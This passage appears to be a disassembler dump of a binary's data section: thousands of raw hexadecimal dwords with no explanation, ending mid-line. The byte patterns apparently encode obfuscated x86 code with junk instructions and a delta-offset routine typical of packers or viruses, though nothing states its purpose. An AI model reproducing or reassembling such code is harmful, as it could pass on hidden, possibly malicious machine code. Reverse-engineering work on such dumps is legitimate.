840F0006h, 50h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 18h, 0E8C35545h, 0A26DC649h, 44E9D98Bh dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 15042444h, 45000000h, 75BAC355h, 1491B589h, 0BD890622h dd 62205EDh, 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h dd 44300311h, 28580211h, 30011164h, 0E9831104h, 0EBE77504h dd 81C08B00h, 55CF98E3h, 810F05h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h dd 5145C353h, 9D8BC404h, 622198Dh, 9D8BD98Bh, 6222D85h dd 30E5BD83h, 0F030622h, 51785h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 534190D6h dd 93BB5135h, 5F1DFE15h, 6870Fh, 0BD030000h, 622304Dh dd 0CAEBBD83h, 0F000625h, 4D784h, 0EBB5FF00h, 6A0625CAh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 0CF4C353h, 413722DAh, 7E928h, 0F28D0000h dd 40940550h, 1141BFBEh, 95FF73DFh, 6221DCDh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0AC35646h, 64BFAC29h dd 0BB6C3601h, 0DE90Eh, 0A4B70000h, 83402F90h, 3AA5E898h dd 8BC090EFh, 25CADFB5h, 0BDE78106h, 0C735727Eh, 1000106h dd 57006A00h, 3E8h, 0C35F2000h dword_544450 dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 8950FD94h ; DATA XREF: ___:off_43BFBCo dd 22255585h, 68BF6606h, 52505006h, 14E9h, 0A5A19700h dd 0D331A6A9h, 0B7A77BBAh, 0BEC7C1FDh, 77EFD7BEh, 5A310F4Dh dd 24348958h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 19h, 32C35545h, 0B4171342h, 90BB66DEh, 0EBB5FF24h, 8B0625CAh dd 4195FFDEh, 6A062225h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 18042444h, 45000000h, 775AC355h, 660FF0CEh dd 8B1496BBh, 25CADFB5h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1804h, 0C3504000h, 69185C83h, 58D0FDAh, 66000000h dd 3922C381h, 5C48FEBBh, 2D858B56h, 6A06221Bh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 662AC356h, 0E781F98Bh, 3948DED5h, 0C48689h, 6E90000h dd 55000000h, 8BC0C5FAh, 0D38166AFh, 958B03ABh, 62233F1h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 94C35343h dd 0CE978h, 9BBC0000h, 0F241562h, 2832BB00h, 0CF8110B5h dd 0C79DF1Ah, 6A04C283h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1D042444h, 43000000h, 9F9DC353h, 24C1087Ah dd 6EECD13Bh, 11E960h, 1E010000h, 5721FB76h, 7BD01F2Ah dd 0C9E027C5h, 0E9E6B91Fh, 0Ch, 128D62A3h, 0FC4420C6h dd 16043B89h, 20508961h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Dh, 0AFC35141h, 923AB6E6h, 3071EDCCh, 0DABF0F3Fh dd 14858589h, 858D0622h, 625DEBCh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 16h, 10C35141h, 9D89F974h, 622003Dh dd 0B88689h, 9D8B0000h, 62218A9h, 8B66006Ah, 0EBB5FFDFh dd 6A0625CAh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 0F8B6C355h, 0D83EC648h, 8595FFF5h dd 6A062202h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 0E921C355h, 0C4231FF3h, 15850Fh dd 0E8600000h, 7, 0ED373EDFh, 589C7E7Ah, 860Fh, 96610000h dd 0E8A0F50h, 0E9000000h, 9, 6A108220h, 3AB19CF9h, 0F505F53h dd 48Eh, 7EBF6600h, 6A96B0h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 140424h, 55450000h, 0B5FF45C3h, 625CAEBh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0FAC35242h dd 0F595FF0Fh, 6A06221Ah, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 0D64FC351h, 28E4BB1Dh dd 0BD833934h, 6221331h, 56840F00h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 5FCC357h, 3DCCA98h, 96529E27h, 6840F50h, 0F000000h dd 80h, 6A9600h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 0DBF164C3h, 2009E5E9h, 0EBB5FFA1h dd 600625CAh, 8916C980h, 2231B9BDh, 0BD896106h, 6221899h dd 1D4195FFh, 0B70F0622h, 0EBB5FFFEh, 6A0625CAh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 34B6C351h, 0F19229Ch, 0BD8BDEB7h, 6220ACDh, 2FC595FFh dd 6A0622h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h dd 53430000h, 0BCF338C3h, 0C2CA58BBh, 0A9BD8332h, 2062202h dd 58840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1D0424h, 51410000h, 0A9827BC3h, 0E8CE7F25h, 81FC178Bh dd 0BB4CD7h, 0E1858B0Ch, 6A062200h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 7816C357h dd 0C6F6h, 0BEC0F381h, 85C768E1h, 622197Dh, 0 dd 0FFF225E9h, 50006AFFh, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1D04h, 0C3504000h, 2884E302h, 0EC796D27h dd 0BB665D56h, 0C18BF25Ch, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ah, 49C35141h, 5BDD3C8Ah, 0B70FE084h, 0B5858DFBh dd 0E806222Ch, 0Ah, 0C5CDACD7h, 9C46C759h, 0F8605994h dd 5F615A57h, 50FE8B90h, 8A0Fh, 0BB900000h, 4AB1D3BBh dd 8870Fh, 8B570000h, 221CD5BDh, 6A5B06h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 1Dh, 2FC35545h, 0DC3476E1h dd 0DC6972C5h, 1955BFE8h, 6A75B0h, 858DD88Ah, 626A2B8h dd 1B7DBD23h, 0C0830622h, 11952905h, 90062227h, 9E9h, 6F419400h dd 0BCB95C0h, 8B50F67Bh, 953190FBh, 62214A5h, 6A006Ah dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 0A5D573C3h, 8BFFFF45h, 221C59BDh, 6A006A06h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h dd 75B9C355h, 2957600Eh, 220769BDh, 0FF615E06h, 22355595h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h dd 0C3554500h, 57E8E277h, 860F53h, 5B000000h, 6E95Fh, 576E0000h dd 8328F0D1h, 0A90F8D8Dh, 8A0F0625h, 6, 258DB589h, 0D1FF0622h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 34C35646h dd 36D7FF2Dh, 0E16BBEEAh, 2890F9Ah, 8B000000h, 0F5BD83DFh dd 1062200h, 0A2850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1A0424h, 55450000h, 64A829C3h, 0F0873248h dd 2FDD9501h, 85090622h, 62230FDh, 14E9h, 72DAFC00h, 1689E198h dd 80B471A9h, 6BF0AAF9h, 0FCDCBD43h, 6A026A61h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h dd 0A315C357h, 50903768h, 326EA2BBh, 95FF9017h, 6220285h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 5DC35747h dd 0B5895160h, 6222905h, 918D895Ah, 6106220Eh, 0DF2E9h dd 0E800h, 815D0000h, 26A2C2EDh, 0D98B6606h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 16h, 55C35040h, 57B70A0Dh dd 17860Fh, 12E90000h, 0A7000000h, 950B6D39h, 0A29551E4h dd 0C3C64727h, 7846EB5Fh, 45858D06h, 89062593h, 22078585h dd 9FBB5006h, 897FCCABh, 9D332404h, 6221895h, 35FF64h dd 0BF000000h, 7A86A0A0h, 258964h, 8B000000h, 22298D9Dh dd 0B185FF06h, 6A062208h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1A042444h, 41000000h, 0F798C351h, 0D876BD4Dh dd 0E9FF6ABDh, 0Bh, 741FEE1Bh, 0B8C1142Eh, 0F5ABEB52h dd 1281B5FFh, 9D890622h, 62207E5h, 1C3595FFh, 27E90622h dd 29000001h, 22282595h, 8000B006h, 70E67FC3h, 1C25B589h dd 71E40622h, 68D0Fh, 8D890000h, 6221B7Dh, 830F613Ch, 0FEh dd 0FF9B70Fh, 0B60FDEB7h, 11BD8BC8h, 0BA06221Ah, 6, 8BFA8B66h dd 859D8BC1h, 8B062210h, 221AF9BDh, 4E8C106h, 0FE9h, 0E04C2900h dd 1BFC6EC4h, 0C4B3C77Ch, 0B3EE2793h, 0E9E2F766h, 11h dd 12C6E424h, 0E27DD0B1h, 64CE43E6h, 6AB3EDE6h, 0F9C82BDAh dd 0B501D18Bh, 6220A71h, 2E9h, 8BD98B00h, 2228C985h, 6820F06h dd 31000000h, 2218A995h, 7C08306h, 68D0Fh, 9D290000h, 6221DA1h dd 0E800C083h, 0Eh, 2BF2B6AEh, 0D8F4E05Ch, 3103A6DBh, 3357A266h dd 223391BDh, 8B5F5F06h, 222531BDh, 0FD03B06h, 1183h, 998D8900h dd 89062221h, 2229A995h, 38E906h, 8D8B0000h, 6220419h dd 2A59D33h, 0E1830622h, 23840F01h, 66000000h, 0F6D7C781h dd 419A583h, 29FE0622h, 221D09BDh, 0C9958906h, 89062228h dd 2215C995h, 0E906h, 0B58D0000h, 62617D4h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 80C35242h, 2B8B5C44h dd 0DFEB86F7h, 0DDBB66D1h, 6850FE1h, 89000000h, 22108DBDh dd 0E8006A06h, 0Dh, 0C907FFDDh, 239C8324h, 0A252B9F3h dd 61FC604Eh, 7595FF5Fh, 6A062230h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 8124C357h dd 5DE6F3DBh, 0ED8D8921h, 0B9062213h, 771h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 7FC35747h, 7E9D8h dd 54A70000h, 903125C3h, 0FCE18312h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 15h, 88C35545h, 0B5BD8B25h, 0FC062206h dd 1A65BD8Bh, 0B80622h, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 71E3C355h dd 0FA8EF80h, 686h, 51C78100h, 2B37FC40h, 52006AD2h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 800F892Eh, 6, 329D9D8Bh, 8BBB0622h, 0AD30A633h, 0E8D1C233h dd 0E983D003h, 6AF47504h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 0D134C351h, 6840Fh dd 0BD8B0000h, 6220E8Dh, 89D88B66h, 2202D98Dh, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 36367B4Bh, 495AB3Bh, 0FB8B66B8h, 880Dh, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 56C63590h, 925AF381h, 8B5F61BCh, 2233F195h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 5A4BF58Dh, 0CD2151D8h, 0BB66B168h, 8D8B97FBh, 6222D31h dd 9E8h, 0EDA18F00h, 5D0C4D34h, 9D89231Ah, 622055Dh, 0C28B505Fh dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 4AD4C356h db 22h, 0E9h word_544F42 dw 0Bh ; DATA XREF: ___:off_4274E0o dd 0FFEB0000h, 44947905h, 0E31FB370h, 0AD958913h, 6A062229h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 414FC353h, 6CBD1310h, 8B66C288h, 69BD83FAh dd 6222Ch, 74840Fh, 89600000h, 2225DD8Dh, 2DD38106h, 612C5FC9h dd 0B8h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1404h, 0C3554500h, 0FBBF0F77h, 50B18D8Dh, 8B660622h dd 60E1FFD9h, 13E8h, 3F3AD00h, 0BDDD566Ch, 885F6A46h, 0F6ABC65Fh dd 39BBDD5Ch, 0E8586160h, 0Eh, 80AFF9EFh, 0D15F096Ah, 0ADC59948h dd 0DF815778h, 2297E8EAh, 0BD836158h, 62230E5h, 0D840F00h dd 6A000004h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 19042444h, 43000000h, 5452C353h, 0E728448Ch, 30E5BD83h dd 0F010622h, 3FA84h, 0E8FA8B00h, 0Bh, 0A8FF9800h, 50EBE16Ah dd 9937064h, 221165B5h, 0BD835F06h, 62230E5h, 9E860F03h dd 6A000003h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 15042444h, 47000000h, 9C27C357h, 9E9h, 8B90C000h, 4CD3E35Fh dd 2B512F12h, 221951BDh, 0F9605B06h, 6AD98C66h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h dd 1BFCC356h, 80B3C77Ch, 6A04E1h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 180424h, 52420000h, 7F12BCC3h, 8CBF7855h dd 13A7538h, 22289D95h, 0FC90A06h, 14784h, 0B1958900h dd 5706220Fh, 8B5FE0B3h, 2210B985h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1404h, 0C3504000h, 0BE853h, 0EFDC0000h dd 805189A2h, 3FAD42BCh, 0F373BFE1h, 335F70A7h, 2208A585h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 0C027E5A7h, 85319E9Dh, 6220F45h, 0AE990h dd 0B34F0000h, 0D4F9F24Ch, 93A8CE3Fh, 9082B350h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 5FC35545h, 0E881A6B9h dd 6, 4AD1F1BAh, 0DE98B3Dh, 10000000h, 0DAD18E0h, 65609CD2h dd 0A62CE19h, 0BD8B605Bh, 6220749h, 0F006A61h, 86h, 5AA86800h dd 8B662121h, 243481F8h, 213E5957h, 0BE66F960h, 0FF61B01Dh dd 221E9195h, 8B665706h, 85895FFAh, 625CAEBh, 73B9BB66h dd 191E9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1D04h, 0C3524200h, 31B021EAh, 0CFEFFFB5h, 8D89C06Bh dd 6220E31h, 13E8h, 0A7A07D00h, 0A1B64F02h, 4B68A796h dd 0BED582AFh, 0CC4560BCh, 5BDA8B66h, 0CAE3858Bh, 0BD8B0625h dd 622200Dh, 1800C7h, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1A0424h, 52420000h, 7A7D18C3h, 96059A6Eh dd 0CAE7B58Bh, 0FEB70625h, 8BDFBF0Fh, 220A6585h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 0CE6FEF9Fh, 79B52918h, 8B062207h, 22070D9Dh, 6A068906h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 1128C357h, 4637F188h, 8B3C8C0Ch, 2210B985h dd 85BD8B06h, 89062207h, 8D290446h, 6220791h, 6A965096h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 12DC357h, 0E0AD7D5Dh, 0FF33BCDFh, 25CAE3B5h dd 48F0F06h, 66000000h, 66B03CBFh, 1143C381h, 0C6F90468h dd 7E803h, 84A60000h, 0CBECDC4Dh, 34815F00h, 0D9FAFB24h dd 0B70F6003h, 1BCA80F1h, 0EB858D61h, 900625CAh, 8B50FE8Bh dd 800F90DAh, 0 dword_545350 dd 1E9195FFh, 6A0622h, 3E851h, 59200000h, 4C8959C3h, 44810424h ; DATA XREF: ___:off_43BF7Co dd 1A0424h, 51410000h, 8BC0C5C3h, 726E42AFh, 0BB66DA8Bh dd 6A618391h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 18042444h, 47000000h, 402BC357h, 89F6E1AFh, 221029BDh dd 158D8906h, 0C706220Eh, 2230E585h, 306h, 0CBC78000h dd 0CAEBBD83h, 0F000625h, 3884h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 0AE93D39h dd 0F2000000h, 619444F8h, 0A4DBA623h, 21E9F834h, 29000000h dd 2207219Dh, 0C305006h, 11440011h, 10E8C101h, 2114430h dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 8E0Fh, 95890000h, 62213D5h dd 30E5BD83h, 0F030622h, 43B85h, 0EBBD8300h, 625CAh, 42E840Fh dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h dd 57470000h, 40F039C3h, 3DA402FAh, 8529AA75h, 6222685h dd 0CAEBB5FFh, 8E90625h, 0E2000000h, 0E3680FFCh, 8996F32Ah dd 221E958Dh, 0CD95FF06h, 6A06221Dh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 7E8EC353h dd 0B58B9C48h, 625CADFh, 2DB589h, 0CFB70622h, 106C7h, 0EF810001h dd 3464339Eh, 36B2BF96h, 0BB506008h, 5676B979h, 0D9D0196h dd 0FF062230h, 25CAEBB5h, 9E906h, 0C2480000h, 21935E0Fh dd 0FF13BBFFh, 22254195h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1A04h, 0C3504000h, 5576D0E4h dd 8B7E2339h, 25CADFB5h, 6840F06h, 60000000h, 5852F48Ah dd 2D858B61h, 6A06221Bh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 1C32C355h, 9D89A691h dd 62204D1h, 28F0Fh, 0FE8B0000h, 0C48689h, 958B0000h, 62233F1h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0BBC35646h dd 0BF0FB12Eh, 459D0BFFh, 83062232h, 508904C2h, 51006A20h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 8B69A43Eh, 221E25BDh, 0ED8D3106h, 8D06221Bh, 25DEBC85h dd 12E806h, 0A5690000h, 0F26EC261h, 0A9A9FEF3h, 0FB5BAA12h dd 66333754h, 0B886895Fh, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0D889C353h dd 9F589156h, 0DF80550Fh, 299D8908h, 6A062220h, 8BD98B00h dd 2233ADBDh, 0EBB5FF06h, 6A0625CAh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 5302C353h dd 11E924Ch, 0CB42BA28h, 28595FFh, 6A0622h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 55D47FC3h dd 9676C34Fh, 0FD8A50DEh, 6A243489h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 8B8FC357h dd 0E5BD8BFAh, 0FF062219h, 25CAEBB5h, 57006A06h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 0AEA9BD3Eh, 0C275166h, 1AF595FFh, 95890622h, 6220EF1h dd 16319589h, 0BD830622h, 6221331h, 30840F00h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 8B9C356h, 459E10D6h, 0B6B66050h, 8961D78Bh dd 81662434h, 0FF92C4C7h, 25CAEBB5h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1404h, 0C3514100h, 719529E3h dd 0FF062229h, 221D4195h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 0DFF79AF0h dd 0E270AD8Dh, 311BD8Bh, 0B5FF0622h, 625CAEBh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0BCC35747h, 7C52FB89h dd 49F9312Ch, 0FDBD8BA5h, 6606220Eh, 0FF03ABBBh, 222FC595h dd 559D2306h, 83062215h, 2202A9BDh, 840F0206h, 7Dh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 78C35242h, 66B81825h dd 0BB66DA8Bh, 858BEE60h, 62200E1h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Dh, 0C7C35343h, 0E7F65D6h, 6C192322h dd 14E924h, 18030000h, 0B29F6536h, 0B9EF9932h, 6E4B9916h dd 0A56B399h, 0D98B9CE4h, 6D953150h, 5B062206h, 10000C6h dd 222FE99Dh, 7D85C706h, 62219h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 95D5C353h dd 408D980Eh, 8D0196B1h, 6222495h, 0BE9h, 677D9F00h, 156BA231h dd 0BC2B92B3h, 0FFF300E9h, 53006AFFh, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 22AA4322h dd 6AC18BA7h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 0F35AC356h, 0EC61E7C6h, 511B7B1Eh dd 8D5FFA8Bh, 222CB585h, 85095606h, 62206D5h, 0E950905Fh dd 0Ah, 7C560D69h, 5F432DF0h, 8B90306Bh, 2221DD9Dh, 0FE906h dd 447D0000h, 0FFDFD97Bh, 0ED5DB1E9h, 35A43AD8h, 6A006AA2h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h dd 46000000h, 0A2A8C356h, 0CBB71C7Ch, 0BF66006Ah, 858DF21Ah dd 626B290h, 6E9h, 0A5338C00h, 83EE9953h, 8B6605C0h, 0BE990F9h dd 0A2000000h, 0A3C9ECFAh, 0EDAE7EFCh, 5750D7ABh, 12E95250h dd 9B000000h, 0D6FF261Dh, 1F6F264Dh, 0E727028Fh, 866EEEC8h dd 5A310FECh, 6A905B58h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1A042444h, 45000000h, 9068C355h, 5501F5A3h dd 28D0FEAh, 0B7000000h, 6A006A39h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0A289C356h dd 5D117713h, 0BF0AB38Dh, 6AD8B7h, 66DA8B66h, 0FF6B7BBFh dd 22355595h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1B04h, 0C3534300h, 0B4B4C5B6h, 0C2910005h, 0A90F8D8Dh dd 0BD890625h, 62215C1h, 1EB1BD29h, 0D1FF0622h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0FCC35141h, 3216F28h dd 66919FDAh, 0E4C3F781h, 0F5BD83h, 0F010622h, 6785h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 7CAD41E2h, 0F026A91h, 0BB50DFBFh, 4D5C1777h, 6A240489h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 20D4C350h, 0F96A1082h, 25CB819Ch, 0B350EE49h dd 8595FFA5h, 66062202h, 8D29D98Bh, 6221279h, 0D97E9h dd 0E800h, 815D0000h, 26B29AEDh, 6AF906h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 2DA9DAC3h dd 75278022h, 8DFE8BACh, 25934585h, 5050F506h, 0D88B6652h dd 585A310Fh, 0B7240489h, 35FF64E0h, 0 dd 11E9h, 96061600h, 91287E6Eh, 3D4961BAh, 0FC1024C8h dd 0BF0F0755h, 258964DBh, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 32C35747h dd 8BA89780h, 0B185FFFBh, 6A062208h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 5D35C352h dd 0F0A14809h, 2A13E7D8h, 308D9509h, 0BD8B0622h, 6220659h dd 0FF6AF88Bh, 19659D8Bh, 0B5FF0622h, 62201E5h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 79C35141h, 0E726838h dd 0DE83Fh, 0E3950000h, 0B9534581h, 5D203572h, 1740A46h dd 2227C1BDh, 0F98B5B06h, 1C3595FFh, 8E90622h, 8B000001h dd 2212A9BDh, 0E900B006h, 0Ch, 0F710E506h, 23410055h, 0C29E97C6h dd 0BE970E6h, 49000000h, 531E5494h, 0B5C15B48h, 0E3800B0Fh dd 6671E412h, 8A3A0CBBh, 0F613CFDh, 0CA83h, 2BF6600h, 0C8B60F3Ah dd 6BAFA8Bh, 66000000h, 8D3FC381h, 8531C18Bh, 6223081h dd 8904E8C1h, 22352D9Dh, 0E2F76606h, 2D959D8Bh, 0C82B0622h dd 25A5BF66h, 0BB66D18Bh, 6E9E9ADh, 29000000h, 22200D8Dh dd 0D9858B06h, 8B062210h, 220301BDh, 7C08306h, 21098509h dd 0C0830622h, 0E93DB700h, 0Ah, 32C604EBh, 35C98645h, 0D03B9BB5h dd 11830Fh, 0B5890000h, 6223531h, 4AE9h, 0EFD38100h, 8B1801E4h dd 2229658Dh, 19952906h, 106220Ah, 221EB1B5h, 1E18306h dd 29840Fh, 0BD8B0000h, 622132Dh, 2965A583h, 89FE0622h dd 2231C1BDh, 0D9958906h, 0BF062210h, 4A9DEB45h, 2FADB501h dd 0E90622h, 8D000000h, 2620B8B5h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 0EA774680h dd 0E6271B65h, 6E9h, 5C836400h, 6ADA6918h, 51006A00h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 840EC961h, 85E1BCF5h, 0C38166DCh, 95FF25BAh, 6223075h dd 23D88B66h, 221115BDh, 7EBB906h, 820F0000h, 4, 0E5A5BB66h dd 6AFCE183h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 18042444h, 46000000h, 9DDCC356h, 81298442h, 780785DFh dd 6AFC4Dh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h dd 55450000h, 8663F2C3h, 0E46218CFh, 0F3815D74h, 7B2EB474h dd 0B8h, 0BA00h, 9D8B0000h, 6221615h, 0D1C233ADh, 83D003E8h dd 0F47504E9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 19h, 0B5C35545h, 7ED3B57Dh, 19D03BBh, 0E8062214h, 0Eh dd 0E1C10FCBh, 0B6452290h, 2072B2DFh, 11E81F70h, 87000000h dd 0F7FA2F2Ah, 0CD4019BFh, 0B5B06591h, 1AC02E28h, 3219BD89h dd 5B5B0622h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Dh, 91C35242h, 0A405A0EBh, 32DB042Eh, 880D88h, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h dd 7B64A9C3h, 0E97DD939h, 11h, 358CD323h, 0DD598B1Ah, 5358A516h dd 0DFC278C2h, 0F1958B6Eh, 89062233h, 2221259Dh, 318D8B06h dd 6A06222Dh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1A042444h, 43000000h, 329BC353h, 65762048h, 6830FDFh dd 89000000h, 22194D9Dh, 0C28B5006h, 0C103188Bh, 0C18B188Bh dd 0C203E8D1h, 8A58188Bh, 50006ADCh, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 2E337FC0h dd 81669A59h, 8342A9C3h, 222C69BDh, 840F0006h, 6Fh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 47C35747h, 1C9BD23h dd 0B80622h, 89000000h, 222C799Dh, 0B18D8D06h, 89062250h dd 22021185h, 16BB6606h, 6AE1FF32h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 0E300C352h dd 5433302h, 7C795DE5h, 16E78166h, 2DBD8B9Fh, 83062215h dd 2230E5BDh, 840F0006h, 437h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 15h, 23C35343h, 0B19D23FCh, 8B062215h dd 2228A5BDh, 0E5BD8306h, 1062230h, 41C840Fh, 9D8B0000h dd 62220F1h, 30E5BD83h, 0F030622h, 3D386h, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 0BBC41B24h, 13E90466h, 0B1000000h, 